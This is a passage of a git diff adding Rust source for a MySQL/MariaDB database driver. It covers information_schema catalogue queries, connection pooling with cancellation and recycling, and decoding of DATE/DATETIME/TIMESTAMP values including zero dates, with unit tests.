MySqlConnection, + flavour: MySqlFlavour, +) -> Result, DriverError> { + let rows = catalog_rows(connection, flavour, "SELECT DATABASE()", "DATABASE", &[]).await?; + let current = match rows.first() { + Some(row) => row.text(0)?, + None => None, + }; + Ok(current + .into_iter() + .map(|name| SchemaInfo { + name, + is_default: true, + is_system: false, + }) + .collect()) +} + +const TABLES_IN_SCHEMA_SQL: &str = "\ +SELECT TABLE_SCHEMA, TABLE_NAME, TABLE_TYPE FROM information_schema.TABLES +WHERE TABLE_SCHEMA = COALESCE(?, DATABASE()) ORDER BY TABLE_NAME"; +const ROUTINES_IN_SCHEMA_SQL: &str = "\ +SELECT ROUTINE_SCHEMA, ROUTINE_NAME, ROUTINE_TYPE FROM information_schema.ROUTINES +WHERE ROUTINE_SCHEMA = COALESCE(?, DATABASE()) ORDER BY ROUTINE_NAME"; +/// The schemas MySQL keeps for itself stay out of "all schemas". +const ALL_TABLES_SQL: &str = "\ +SELECT TABLE_SCHEMA, TABLE_NAME, TABLE_TYPE FROM information_schema.TABLES +WHERE TABLE_SCHEMA NOT IN ('mysql', 'information_schema', 'performance_schema', 'sys') +ORDER BY TABLE_SCHEMA, TABLE_NAME"; +const ALL_ROUTINES_SQL: &str = "\ +SELECT ROUTINE_SCHEMA, ROUTINE_NAME, ROUTINE_TYPE FROM information_schema.ROUTINES +WHERE ROUTINE_SCHEMA NOT IN ('mysql', 'information_schema', 'performance_schema', 'sys') +ORDER BY ROUTINE_SCHEMA, ROUTINE_NAME"; + +/// Tables, views and sequences, then routines. Two reads rather than a +/// UNION, because the two catalogue tables collate their names +/// differently and a UNION of them can refuse to sort. +pub(crate) async fn list_objects( + connection: &mut MySqlConnection, + flavour: MySqlFlavour, + scope: &ObjectScope, +) -> Result, DriverError> { + let (tables_sql, routines_sql, binds): (_, _, Vec>) = match scope { + ObjectScope::DefaultSchema => (TABLES_IN_SCHEMA_SQL, ROUTINES_IN_SCHEMA_SQL, vec![None]), + ObjectScope::Schema(name) => (TABLES_IN_SCHEMA_SQL, ROUTINES_IN_SCHEMA_SQL, vec![Some(name.as_str())]), + ObjectScope::AllSchemas => (ALL_TABLES_SQL, ALL_ROUTINES_SQL, Vec::new()), + }; + let mut objects = Vec::new(); + for (sql, table) in [(tables_sql, "TABLES"), (routines_sql, "ROUTINES")] { + for row in catalog_rows(connection, flavour, sql, table, &binds).await? { + let kind = match row.text(2)?.as_deref() { + Some("BASE TABLE" | "SYSTEM VERSIONED" | "TEMPORARY") => ObjectKind::Table, + Some("VIEW" | "SYSTEM VIEW") => ObjectKind::View, + Some("SEQUENCE") => ObjectKind::Sequence, + Some("FUNCTION") => ObjectKind::Function, + Some("PROCEDURE") => ObjectKind::Procedure, + _ => continue, + }; + objects.push(ObjectInfo { + schema: row.text(0)?, + name: row.required_text(1)?, + kind, + }); + } + } + Ok(objects) +} + +async fn column_rows( + connection: &mut MySqlConnection, + flavour: MySqlFlavour, + table: &TableRef, +) -> Result, DriverError> { + catalog_rows( + connection, + flavour, + columns_sql(flavour), + "COLUMNS", + &table_binds(table), + ) + .await? + .iter() + .map(MySqlColumnRow::from_cells) + .collect() +} + +pub(crate) async fn fetch_columns( + connection: &mut MySqlConnection, + flavour: MySqlFlavour, + table: &TableRef, +) -> Result, DriverError> { + Ok(column_rows(connection, flavour, table) + .await? + .iter() + .map(|row| column_info(row, flavour)) + .collect()) +} + +/// MySQL 8.0.13 and later name a functional key part in EXPRESSION; +/// MariaDB has no such column, and no functional key parts. +const MYSQL_INDEXES_SQL: &str = "\ +SELECT INDEX_NAME, NON_UNIQUE, COLUMN_NAME, COLLATION, EXPRESSION +FROM information_schema.STATISTICS +WHERE TABLE_SCHEMA = COALESCE(?, DATABASE()) AND TABLE_NAME = ? +ORDER BY INDEX_NAME = 'PRIMARY' DESC, INDEX_NAME, SEQ_IN_INDEX"; +const MARIADB_INDEXES_SQL: &str = "\ +SELECT INDEX_NAME, NON_UNIQUE, COLUMN_NAME, COLLATION, NULL AS EXPRESSION +FROM information_schema.STATISTICS +WHERE TABLE_SCHEMA = COALESCE(?, DATABASE()) AND TABLE_NAME = ? +ORDER BY INDEX_NAME = 'PRIMARY' DESC, INDEX_NAME, SEQ_IN_INDEX"; + +pub(crate) async fn fetch_indexes( + connection: &mut MySqlConnection, + dialect: &MySqlDialect, + table: &TableRef, +) -> Result, DriverError> { + let flavour = dialect.flavour(); + let sql = match dialect.has_functional_key_parts() { + true => MYSQL_INDEXES_SQL, + false => MARIADB_INDEXES_SQL, + }; + let rows = catalog_rows(connection, flavour, sql, "STATISTICS", &table_binds(table)).await?; + let mut indexes: Vec = Vec::new(); + for row in rows { + let name = row.required_text(0)?; + let descending = row.text(3)?.as_deref() == Some("D"); + let key = match (row.text(2)?, row.text(4)?) { + (Some(column), _) => IndexKey::Column { + name: column, + descending, + }, + (None, Some(expression)) => IndexKey::Expression { + sql: expression, + descending, + }, + (None, None) => continue, + }; + match indexes.last_mut().filter(|index| index.name == name) { + Some(index) => index.keys.push(key), + None => indexes.push(IndexInfo { + unique: row.number(1)? == Some(0), + primary: name == "PRIMARY", + name, + keys: vec![key], + predicate: None, + }), + } + } + Ok(indexes) +} + +const FOREIGN_KEYS_SQL: &str = "\ +SELECT k.CONSTRAINT_NAME, k.COLUMN_NAME, k.REFERENCED_TABLE_SCHEMA, k.REFERENCED_TABLE_NAME, + k.REFERENCED_COLUMN_NAME, r.DELETE_RULE, r.UPDATE_RULE +FROM information_schema.KEY_COLUMN_USAGE k +JOIN information_schema.REFERENTIAL_CONSTRAINTS r + ON r.CONSTRAINT_SCHEMA = k.CONSTRAINT_SCHEMA AND r.CONSTRAINT_NAME = k.CONSTRAINT_NAME + AND r.TABLE_NAME = k.TABLE_NAME +WHERE k.TABLE_SCHEMA = COALESCE(?, DATABASE()) AND k.TABLE_NAME = ? AND k.REFERENCED_TABLE_NAME IS NOT NULL +ORDER BY k.CONSTRAINT_NAME, k.ORDINAL_POSITION"; + +pub(crate) async fn fetch_foreign_keys( + connection: &mut MySqlConnection, + flavour: MySqlFlavour, + table: &TableRef, +) -> Result, DriverError> { + let rows = catalog_rows( + connection, + flavour, + FOREIGN_KEYS_SQL, + "KEY_COLUMN_USAGE", + &table_binds(table), + ) + .await?; + let mut keys: Vec = Vec::new(); + for row in rows { + let name = row.required_text(0)?; + let column = row.required_text(1)?; + let referenced = row.required_text(4)?; + if let Some(key) = keys.last_mut().filter(|key| key.name == name) { + key.columns.push(column); + key.ref_columns.push(referenced); + continue; + } + keys.push(ForeignKeyInfo { + name, + columns: vec![column], + ref_schema: row.text(2)?, + ref_table: row.required_text(3)?, + ref_columns: vec![referenced], + on_delete: row.text(5)?.as_deref().and_then(referential_action), + on_update: row.text(6)?.as_deref().and_then(referential_action), + }); + } + Ok(keys) +} + +fn referential_action(rule: &str) -> Option { + ReferentialAction::ALL + .into_iter() + .find(|action| action.as_sql().eq_ignore_ascii_case(rule)) +} + +/// A primary key, or a unique index over NOT NULL columns, names a row. +/// Anything else leaves the grid read-only. +pub(crate) async fn row_identity( + connection: &mut MySqlConnection, + dialect: &MySqlDialect, + table: &TableRef, +) -> Result { + let indexes = fetch_indexes(connection, dialect, table).await?; + let columns = fetch_columns(connection, dialect.flavour(), table).await?; + Ok(identity_of(&indexes, &columns)) +} + +pub(crate) fn identity_of(indexes: &[IndexInfo], columns: &[ColumnInfo]) -> RowIdentity { + if let Some(primary) = indexes.iter().find(|index| index.primary && index.can_identify_rows()) { + return RowIdentity::UniqueKey { + columns: primary.key_columns(), + }; + } + let not_null = |name: &str| columns.iter().any(|column| column.name == name && !column.nullable); + indexes + .iter() + .find(|index| index.can_identify_rows() && index.key_columns().iter().all(|name| not_null(name))) + .map_or(RowIdentity::Unordered, |index| RowIdentity::UniqueKey { + columns: index.key_columns(), + }) +} + +const TABLE_ROWS_SQL: &str = "\ +SELECT TABLE_ROWS FROM information_schema.TABLES +WHERE TABLE_SCHEMA = COALESCE(?, DATABASE()) AND TABLE_NAME = ?"; + +pub(crate) async fn table_estimate( + connection: &mut MySqlConnection, + flavour: MySqlFlavour, + table: &TableRef, +) -> Result { + let rows = catalog_rows(connection, flavour, TABLE_ROWS_SQL, "TABLES", &table_binds(table)).await?; + let estimate = match rows.first() { + Some(row) => row.number(0)?, + None => None, + }; + Ok(TableEstimate { + rows: estimate.map_or(RowCountEstimate::Unknown, RowCountEstimate::Approximate), + heap_blocks: None, + }) +} + +pub(crate) async fn fetch_table_definition( + connection: &mut MySqlConnection, + dialect: &MySqlDialect, + table: &TableRef, +) -> Result { + let flavour = dialect.flavour(); + let rows = column_rows(connection, flavour, table).await?; + let engine = table_engine::lookup(connection, flavour, table).await?; + let attributes = engine_attributes(connection, dialect, table).await; + let columns = rows + .iter() + .map(|row| { + let mut unmodeled: Vec = attributes + .iter() + .filter(|(column, _)| *column == row.name) + .map(|(_, attribute)| UnmodeledAttribute::new(attribute.clone())) + .collect(); + if engine.is_ndb() { + unmodeled.push(UnmodeledAttribute::new("ENGINE=ndbcluster")); + } + column_definition(row, flavour, unmodeled) + }) + .collect(); + let indexes = fetch_indexes(connection, dialect, table).await?; + let primary_key = indexes + .iter() + .find(|index| index.primary) + .map(|index| PrimaryKeyConstraint { + name: Some(index.name.clone()), + columns: index.key_columns(), + }); + let foreign_keys = fetch_foreign_keys(connection, flavour, table).await?; + let inbound = catalog_rows( + connection, + flavour, + INBOUND_FOREIGN_KEYS_SQL, + "KEY_COLUMN_USAGE", + &table_binds(table), + ) + .await?; + let inbound_foreign_keys: Vec = inbound_foreign_keys(&inbound)?; + let create_statement = show_create(connection, dialect, table).await?; + Ok(TableDefinition { + table: table.clone(), + columns, + primary_key, + indexes, + foreign_keys, + inbound_foreign_keys, + source: Some(TableSource { + create_statement, + dependents: Vec::new(), + }), + }) +} + +/// Engine attributes on columns, from MySQL 8.0.21 on. An older server +/// has no such table, which is the same as having no attributes. +async fn engine_attributes( + connection: &mut MySqlConnection, + dialect: &MySqlDialect, + table: &TableRef, +) -> Vec<(String, String)> { + let flavour = dialect.flavour(); + if !dialect.mysql_at_least((8, 0, 21)) { + return Vec::new(); + } + let rows = match catalog_rows( + connection, + flavour, + COLUMN_ENGINE_ATTRIBUTES_SQL, + "COLUMNS_EXTENSIONS", + &table_binds(table), + ) + .await + { + Ok(rows) => rows, + Err(error) => { + tracing::debug!(%error, "COLUMNS_EXTENSIONS could not be read"); + return Vec::new(); + } + }; + let mut attributes = Vec::new(); + for row in rows { + let Ok(Some(column)) = row.text(0) else { + continue; + }; + for (index, name) in [(1, "ENGINE_ATTRIBUTE"), (2, "SECONDARY_ENGINE_ATTRIBUTE")] { + if row.text(index).ok().flatten().is_some() { + attributes.push((column.clone(), name.to_owned())); + } + } + } + attributes +} + +/// The table's own DDL as the server prints it. SHOW cannot take a +/// parameter, so the name goes in quoted by the dialect. +async fn show_create( + connection: &mut MySqlConnection, + dialect: &MySqlDialect, + table: &TableRef, +) -> Result { + let sql = format!("SHOW CREATE TABLE {}", dialect.qualify(table)); + let row = connection + .fetch_one(sqlx::raw_sql(AssertSqlSafe(sql))) + .await + .map_err(|error| map_error(&error, dialect.flavour()))?; + let bytes: &[u8] = row.try_get_unchecked(1).map_err(|error| DriverError::Decode { + column: "Create Table".to_owned(), + detail: error.to_string(), + })?; + String::from_utf8(bytes.to_vec()).map_err(|error| DriverError::Decode { + column: "Create Table".to_owned(), + detail: error.to_string(), + }) +} + +#[cfg(test)] +mod tests { + use tablepro_core::column::{ColumnDefault, ColumnType}; + + use super::*; + + fn column(name: &str, nullable: bool) -> ColumnInfo { + ColumnInfo { + name: name.to_owned(), + column_type: ColumnType::unknown(), + nullable, + primary_key: false, + is_auto_increment: false, + is_generated: false, + default: ColumnDefault::None, + comment: None, + } + } + + fn index(name: &str, unique: bool, columns: &[&str]) -> IndexInfo { + IndexInfo { + name: name.to_owned(), + keys: columns + .iter() + .map(|column| IndexKey::Column { + name: (*column).to_owned(), + descending: false, + }) + .collect(), + unique, + primary: name == "PRIMARY", + predicate: None, + } + } + + #[test] + fn identity_prefers_the_primary_key_then_a_not_null_unique_index() { + let columns = [column("id", false), column("email", false), column("nick", true)]; + + let with_primary = [index("email_unique", true, &["email"]), index("PRIMARY", true, &["id"])]; + assert_eq!( + identity_of(&with_primary, &columns), + RowIdentity::UniqueKey { + columns: vec!["id".to_owned()] + } + ); + + let unique_only = [ + index("nick_unique", true, &["nick"]), + index("email_unique", true, &["email"]), + ]; + assert_eq!( + identity_of(&unique_only, &columns), + RowIdentity::UniqueKey { + columns: vec!["email".to_owned()] + } + ); + + let nullable_only = [index("nick_unique", true, &["nick"]), index("plain", false, &["id"])]; + assert_eq!(identity_of(&nullable_only, &columns), RowIdentity::Unordered); + } + + #[test] + fn referential_rules_map_to_actions() { + assert_eq!(referential_action("SET NULL"), Some(ReferentialAction::SetNull)); + assert_eq!(referential_action("NO ACTION"), Some(ReferentialAction::NoAction)); + assert_eq!(referential_action("RESTRICT"), Some(ReferentialAction::Restrict)); + assert_eq!(referential_action("SOMETHING NEW"), None); + } +} diff --git a/linux/crates/drivers/mysql/src/mysql_call.rs b/linux/crates/drivers/mysql/src/mysql_call.rs new file mode 100644 index 0000000000..6fcd9fa9ab --- /dev/null +++ b/linux/crates/drivers/mysql/src/mysql_call.rs @@ -0,0 +1,112 @@ +use std::sync::Arc; +use std::sync::atomic::{AtomicBool, Ordering}; + +use deadpool::managed::{Object, Timeouts}; +use sqlx::mysql::MySqlConnection; +use tablepro_core::{CallResource, DriverError, StopRequest}; + +use crate::cancel::{MySqlStop, interrupted}; +use crate::errors::map_pool_error; +use crate::flavour::MySqlFlavour; +use crate::mysql_manager::{MysqlManager, MysqlPool}; + +/// The pooled connection one workspace call runs on. +/// +/// It starts empty and is filled inside the call, so the call's deadline +/// and cancel cover the wait for a slot too. A connection whose call did +/// not end cleanly, one a KILL may still be chasing or one left inside a +/// transaction, is taken out of the pool instead of returned to it. +pub(crate) struct MysqlCall { + object: Option>, + abandon: Arc, +} + +impl MysqlCall { + pub(crate) fn new() -> Self { + Self { + object: None, + abandon: Arc::new(AtomicBool::new(false)), + } + } + + /// Take a slot from the pool, giving up as soon as the call is + /// stopped. Once the slot is held, the stop can reach the server. + pub(crate) async fn acquire( + &mut self, + pool: &MysqlPool, + timeouts: &Timeouts, + request: &StopRequest, + stop: &MySqlStop, + ) -> Result<(), DriverError> { + let object = tokio::select! { + biased; + () = request.requested() => return Err(interrupted(request)), + object = pool.timeout_get(timeouts) => object.map_err(|error| map_pool_error(&error))?, + }; + stop.arm(object.connection_id); + self.object = Some(object); + // The stop may have been asked for between the slot arriving and + // the stop being armed, and then a KILL may be on its way to an + // idle connection; nothing of this call ran, so it ends here and + // the connection goes. + if request.is_requested() { + self.taint(); + return Err(interrupted(request)); + } + Ok(()) + } + + pub(crate) fn connection(&mut self) -> Result<(&mut MySqlConnection, MySqlFlavour), DriverError> { + let object = self + .object + .as_mut() + .ok_or_else(|| DriverError::Protocol("the call holds no connection".to_owned()))?; + let flavour = object.flavour; + Ok((&mut object.connection, flavour)) + } + + /// The call did not reach a clean end, so the connection is not + /// handed to the next caller. + pub(crate) fn taint(&self) { + self.abandon.store(true, Ordering::SeqCst); + } + + /// What taints the call while its connection is borrowed. + pub(crate) fn tainter(&self) -> Tainter { + Tainter(self.abandon.clone()) + } + + fn take(&mut self) { + if let Some(object) = self.object.take() { + drop(Object::take(object)); + } + } +} + +impl CallResource for MysqlCall { + fn abandon_flag(&self) -> Arc { + self.abandon.clone() + } + + fn discard(mut self) { + self.take(); + } +} + +impl Drop for MysqlCall { + fn drop(&mut self) { + if self.abandon.load(Ordering::SeqCst) { + self.take(); + } + } +} + +/// Taints a call from code that holds its connection. +#[derive(Debug, Clone)] +pub(crate) struct Tainter(Arc); + +impl Tainter { + pub(crate) fn taint(&self) { + self.0.store(true, Ordering::SeqCst); + } +} diff --git a/linux/crates/drivers/mysql/src/mysql_manager.rs b/linux/crates/drivers/mysql/src/mysql_manager.rs new file mode 100644 index 0000000000..1d511fc719 --- /dev/null +++ b/linux/crates/drivers/mysql/src/mysql_manager.rs @@ -0,0 +1,98 @@ +use std::sync::Arc; +use std::time::Duration; + +use deadpool::Runtime; +use deadpool::managed::{Manager, Metrics, Pool, RecycleError, RecycleResult, Timeouts}; +use sqlx::Connection as _; +use tablepro_core::{DriverError, LivenessPolicy}; +use tokio_util::sync::CancellationToken; + +use crate::errors::map_error; +use crate::physical::{MySqlPhysical, MysqlEndpoint, SessionKind}; +use crate::session_statements::SessionLimits; + +/// The workspace pool's size. Exported so the conformance suite proves +/// saturation against the driver's own number rather than deadpool's +/// default, which follows the host's core count. +pub const WORKSPACE_POOL_MAX_SIZE: usize = 4; + +pub(crate) type MysqlPool = Pool; + +/// deadpool's manager for workspace connections: each member is a login +/// with the workspace session already set up. +pub(crate) struct MysqlManager { + endpoint: Arc, + limits: SessionLimits, +} + +impl Manager for MysqlManager { + type Type = MySqlPhysical; + type Error = DriverError; + + async fn create(&self) -> Result { + self.endpoint + .connect_physical(SessionKind::Workspace, &self.limits, &CancellationToken::new()) + .await + } + + /// A member is handed out again only once the server has answered a + /// ping. A member whose call was abandoned never gets here: the call + /// takes it out of the pool instead. + async fn recycle(&self, member: &mut MySqlPhysical, _: &Metrics) -> RecycleResult { + let bound = self.endpoint.liveness().probe_timeout; + match tokio::time::timeout(bound, member.connection.ping()).await { + Ok(Ok(())) => Ok(()), + Ok(Err(error)) => Err(RecycleError::Backend(map_error(&error, member.flavour))), + Err(_) => Err(RecycleError::message("the server did not answer a ping in time")), + } + } +} + +pub(crate) fn build_pool(endpoint: Arc, limits: SessionLimits) -> Result { + let timeouts = workspace_timeouts(endpoint.liveness()); + Pool::builder(MysqlManager { endpoint, limits }) + .max_size(WORKSPACE_POOL_MAX_SIZE) + .wait_timeout(timeouts.wait) + .create_timeout(timeouts.create) + .recycle_timeout(timeouts.recycle) + .runtime(Runtime::Tokio1) + .build() + .map_err(|error| DriverError::Protocol(error.to_string())) +} + +pub(crate) fn workspace_timeouts(liveness: &LivenessPolicy) -> Timeouts { + Timeouts { + wait: Some(liveness.pool_wait), + create: Some(liveness.connect_timeout + liveness.login_timeout), + recycle: Some(liveness.probe_timeout), + } +} + +/// The probe never waits for a slot: a busy pool is not a dead server. +pub(crate) fn probe_timeouts(liveness: &LivenessPolicy) -> Timeouts { + Timeouts { + wait: Some(Duration::ZERO), + ..workspace_timeouts(liveness) + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn the_probe_never_waits_for_a_slot() { + let timeouts = probe_timeouts(&LivenessPolicy::DESKTOP); + + assert_eq!(timeouts.wait, Some(Duration::ZERO)); + assert_eq!( + workspace_timeouts(&LivenessPolicy::DESKTOP).wait, + Some(LivenessPolicy::DESKTOP.pool_wait) + ); + assert_eq!( + timeouts.recycle, + Some(LivenessPolicy::DESKTOP.probe_timeout), + "a recycle ping is a probe" + ); + } +} diff --git a/linux/crates/drivers/mysql/src/mysql_temporal.rs b/linux/crates/drivers/mysql/src/mysql_temporal.rs new file mode 100644 index 0000000000..67a1b8b33b --- /dev/null +++ b/linux/crates/drivers/mysql/src/mysql_temporal.rs @@ -0,0 +1,273 @@ +//! DATE, DATETIME and TIMESTAMP as the server sent them. +//! +//! The server stores dates chrono has no value for: the zero date +//! `0000-00-00` and dates with a zero month or day, under a lenient +//! sql_mode. sqlx reads a zero date as NULL, which would hide a value +//! that is there, so these are read from the bytes instead and kept as +//! the server's own text when chrono cannot hold them. + +use chrono::{NaiveDate, NaiveDateTime, NaiveTime}; +use tablepro_core::Value; +use tablepro_core::value::{OffsetTimestamp, OtherValue, Temporal, UndecodableReason, UndecodedValue}; + +use crate::mysql_timestamp_mode::MySqlTimestampMode; +use crate::mysql_wire_format::MySqlWireFormat; + +/// Which of the three types a value is. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub(crate) enum TemporalType { + Date, + DateTime, + Timestamp, +} + +impl TemporalType { + fn name(self) -> &'static str { + match self { + Self::Date => "DATE", + Self::DateTime => "DATETIME", + Self::Timestamp => "TIMESTAMP", + } + } +} + +/// The calendar fields, before chrono is asked whether they are a date. +#[derive(Debug, Clone, Copy, PartialEq, Eq, Default)] +struct Fields { + year: u16, + month: u8, + day: u8, + hour: u8, + minute: u8, + second: u8, + micros: u32, +} + +impl Fields { + fn text(&self, kind: TemporalType) -> String { + let date = format!("{:04}-{:02}-{:02}", self.year, self.month, self.day); + match kind { + TemporalType::Date => date, + TemporalType::DateTime | TemporalType::Timestamp => { + let time = format!("{date} {:02}:{:02}:{:02}", self.hour, self.minute, self.second); + match self.micros { + 0 => time, + micros => format!("{time}.{micros:06}"), + } + } + } + } +} + +pub(crate) fn decode(bytes: &[u8], format: MySqlWireFormat, kind: TemporalType, mode: MySqlTimestampMode) -> Value { + let fields = match format { + MySqlWireFormat::Binary => binary_fields(bytes), + MySqlWireFormat::Text => std::str::from_utf8(bytes).ok().and_then(text_fields), + }; + let Some(fields) = fields else { + return Value::Undecodable(Box::new(UndecodedValue { + type_name: kind.name().to_owned(), + reason: UndecodableReason::InvalidEncoding, + })); + }; + let date = NaiveDate::from_ymd_opt(i32::from(fields.year), u32::from(fields.month), u32::from(fields.day)); + let time = NaiveTime::from_hms_micro_opt( + u32::from(fields.hour), + u32::from(fields.minute), + u32::from(fields.second), + fields.micros, + ); + let (Some(date), Some(time)) = (date, time) else { + return Value::Other(Box::new(OtherValue { + type_name: kind.name().to_owned(), + text: fields.text(kind), + })); + }; + let stamp = NaiveDateTime::new(date, time); + match (kind, mode) { + (TemporalType::Date, _) => Value::Date(Temporal::Finite(date)), + (TemporalType::DateTime, _) | (TemporalType::Timestamp, MySqlTimestampMode::SessionLocal) => { + Value::Timestamp(Temporal::Finite(stamp)) + } + (TemporalType::Timestamp, MySqlTimestampMode::WorkspaceUtc) => Value::TimestampTz(Temporal::Finite( + OffsetTimestamp::from_datetime(stamp.and_utc().fixed_offset()), + )), + } +} + +/// The binary protocol's length byte, then as many fields as it says: +/// 0 is the zero date, 4 a date, 7 adds the time, 11 the microseconds. +fn binary_fields(bytes: &[u8]) -> Option { + let (&length, body) = bytes.split_first()?; + let body = body.get(..usize::from(length))?; + let mut fields = Fields::default(); + if length == 0 { + return Some(fields); + } + if !matches!(length, 4 | 7 | 11) { + return None; + } + fields.year = u16::from_le_bytes([*body.first()?, *body.get(1)?]); + fields.month = *body.get(2)?; + fields.day = *body.get(3)?; + if length >= 7 { + fields.hour = *body.get(4)?; + fields.minute = *body.get(5)?; + fields.second = *body.get(6)?; + } + if length == 11 { + fields.micros = u32::from_le_bytes([*body.get(7)?, *body.get(8)?, *body.get(9)?, *body.get(10)?]); + } + Some(fields) +} + +/// `YYYY-MM-DD`, optionally followed by ` HH:MM:SS` and a fraction of up +/// to six digits. +fn text_fields(text: &str) -> Option { + let (date, time) = match text.split_once(' ') { + Some((date, time)) => (date, Some(time)), + None => (text, None), + }; + let mut date_parts = date.split('-'); + let mut fields = Fields { + year: number(date_parts.next()?, 4)?, + month: number(date_parts.next()?, 2)?, + day: number(date_parts.next()?, 2)?, + ..Fields::default() + }; + if date_parts.next().is_some() { + return None; + } + let Some(time) = time else { + return Some(fields); + }; + let (clock, fraction) = match time.split_once('.') { + Some((clock, fraction)) => (clock, Some(fraction)), + None => (time, None), + }; + let mut clock_parts = clock.split(':'); + fields.hour = number(clock_parts.next()?, 2)?; + fields.minute = number(clock_parts.next()?, 2)?; + fields.second = number(clock_parts.next()?, 2)?; + if clock_parts.next().is_some() { + return None; + } + if let Some(fraction) = fraction { + if fraction.is_empty() || fraction.len() > 6 || !fraction.bytes().all(|byte| byte.is_ascii_digit()) { + return None; + } + let padded = format!("{fraction:0<6}"); + fields.micros = padded.parse().ok()?; + } + Some(fields) +} + +fn number(text: &str, digits: usize) -> Option { + if text.len() != digits || !text.bytes().all(|byte| byte.is_ascii_digit()) { + return None; + } + text.parse().ok() +} + +#[cfg(test)] +mod tests { + use super::*; + + fn binary(kind: TemporalType, bytes: &[u8]) -> Value { + decode(bytes, MySqlWireFormat::Binary, kind, MySqlTimestampMode::SessionLocal) + } + + fn other_text(value: &Value) -> Option<&str> { + match value { + Value::Other(other) => Some(other.text.as_str()), + _ => None, + } + } + + #[test] + fn mysql_temporal_binary_lengths_0_4_7_11() { + let zero = binary(TemporalType::DateTime, &[0]); + assert_eq!(other_text(&zero), Some("0000-00-00 00:00:00")); + + let date = binary(TemporalType::Date, &[4, 0xe9, 0x07, 3, 9]); + assert_eq!( + date, + Value::Date(Temporal::Finite(NaiveDate::from_ymd_opt(2025, 3, 9).unwrap())) + ); + + let seconds = binary(TemporalType::DateTime, &[7, 0xe9, 0x07, 3, 9, 13, 45, 30]); + let expected = NaiveDate::from_ymd_opt(2025, 3, 9) + .unwrap() + .and_hms_opt(13, 45, 30) + .unwrap(); + assert_eq!(seconds, Value::Timestamp(Temporal::Finite(expected))); + + let micros = 123_456_u32.to_le_bytes(); + let fraction = binary( + TemporalType::DateTime, + &[ + 11, 0xe9, 0x07, 3, 9, 13, 45, 30, micros[0], micros[1], micros[2], micros[3], + ], + ); + let expected = NaiveDate::from_ymd_opt(2025, 3, 9) + .unwrap() + .and_hms_micro_opt(13, 45, 30, 123_456) + .unwrap(); + assert_eq!(fraction, Value::Timestamp(Temporal::Finite(expected))); + + assert!(matches!( + binary(TemporalType::Date, &[5, 1, 2, 3, 4, 5]), + Value::Undecodable(_) + )); + assert!(matches!(binary(TemporalType::Date, &[4, 1]), Value::Undecodable(_))); + } + + #[test] + fn mysql_zero_date_is_other_in_both_formats() { + let text = decode( + b"0000-00-00", + MySqlWireFormat::Text, + TemporalType::Date, + MySqlTimestampMode::WorkspaceUtc, + ); + let binary = decode( + &[0], + MySqlWireFormat::Binary, + TemporalType::Date, + MySqlTimestampMode::WorkspaceUtc, + ); + assert_eq!(other_text(&text), Some("0000-00-00")); + assert_eq!(other_text(&binary), Some("0000-00-00")); + + let partial = decode( + b"2024-00-15 10:00:00", + MySqlWireFormat::Text, + TemporalType::DateTime, + MySqlTimestampMode::WorkspaceUtc, + ); + assert_eq!(other_text(&partial), Some("2024-00-15 10:00:00")); + } + + #[test] + fn a_workspace_timestamp_is_an_instant_and_a_session_one_is_wall_time() { + let workspace = decode( + b"2025-04-01 00:00:00.5", + MySqlWireFormat::Text, + TemporalType::Timestamp, + MySqlTimestampMode::WorkspaceUtc, + ); + let Value::TimestampTz(Temporal::Finite(instant)) = workspace else { + panic!("a workspace TIMESTAMP read as {workspace:?}"); + }; + assert_eq!(instant.offset().local_minus_utc(), 0); + assert_eq!(instant.utc().and_utc().timestamp_subsec_micros(), 500_000); + + let session = decode( + b"2025-04-01 00:00:00", + MySqlWireFormat::Text, + TemporalType::Timestamp, + MySqlTimestampMode::SessionLocal, + ); + assert!(matches!(session, Value::Timestamp(Temporal::Finite(_)))); + } +} diff --git a/linux/crates/drivers/mysql/src/mysql_timestamp_mode.rs b/linux/crates/drivers/mysql/src/mysql_timestamp_mode.rs new file mode 100644 index 0000000000..9288ff7704 --- /dev/null +++ b/linux/crates/drivers/mysql/src/mysql_timestamp_mode.rs @@ -0,0 +1,10 @@ +/// What a TIMESTAMP value means on the session it was read on. +#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash)] +pub(crate) enum MySqlTimestampMode { + /// A workspace session's zone is pinned to UTC, so the value is an + /// instant and keeps its offset. + WorkspaceUtc, + /// An editor session reads in the server's own zone, which the + /// value does not carry, so it stays the wall time it showed. + SessionLocal, +} diff --git a/linux/crates/drivers/mysql/src/mysql_wire_format.rs b/linux/crates/drivers/mysql/src/mysql_wire_format.rs new file mode 100644 index 0000000000..be7cd3c98e --- /dev/null +++ b/linux/crates/drivers/mysql/src/mysql_wire_format.rs @@ -0,0 +1,10 @@ +/// Which protocol a row came over. +/// +/// sqlx keeps `MySqlValueRef::format` to itself, so the caller says +/// which one it used: a prepared statement (`sqlx::query`) answers in +/// the binary protocol, and `raw_sql` in the text protocol. +#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash)] +pub(crate) enum MySqlWireFormat { + Binary, + Text, +} diff --git a/linux/crates/drivers/mysql/src/physical.rs b/linux/crates/drivers/mysql/src/physical.rs new file mode 100644 index 0000000000..ae20b92460 --- /dev/null +++ b/linux/crates/drivers/mysql/src/physical.rs @@ -0,0 +1,255 @@ +use std::sync::Arc; +use std::time::Duration; + +use secrecy::ExposeSecret; +use sqlx::mysql::{MySqlConnectOptions, MySqlConnection, MySqlSslMode}; +use sqlx::{AssertSqlSafe, ConnectOptions as _, Executor as _, Row as _}; +use tablepro_core::{ + ConfigError, Credentials, DriverError, LivenessPolicy, NetworkEndpoint, NetworkTarget, TimeoutPhase, TlsMode, + Transport, TransportRoute, +}; +use tokio_util::sync::CancellationToken; + +use crate::errors::{map_connect_error, map_error}; +use crate::flavour::MySqlFlavour; +use crate::session_statements::{SessionLimits, for_session}; +use crate::workspace_session::{WORKSPACE_SQL_MODE_STATEMENT, WORKSPACE_TIME_ZONE}; + +/// Which session a physical connection opens as. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub(crate) enum SessionKind { + /// The pool, a streamed read: TIMESTAMP in UTC, backslashes + /// pinned to be escapes. + Workspace, + /// An editor tab: the server's own zone and sql_mode, as the mysql + /// client would have them. + Editor, + /// The connection that sends KILL QUERY. It runs nothing else, so + /// it changes nothing about its session. + Control, +} + +/// One login to the server and what it said about itself. +pub(crate) struct MySqlPhysical { + pub connection: MySqlConnection, + /// What KILL QUERY names. The id the handshake carried is private to + /// sqlx, so it is asked for. + pub connection_id: u64, + pub version: String, + pub flavour: MySqlFlavour, +} + +/// Everything needed to log in 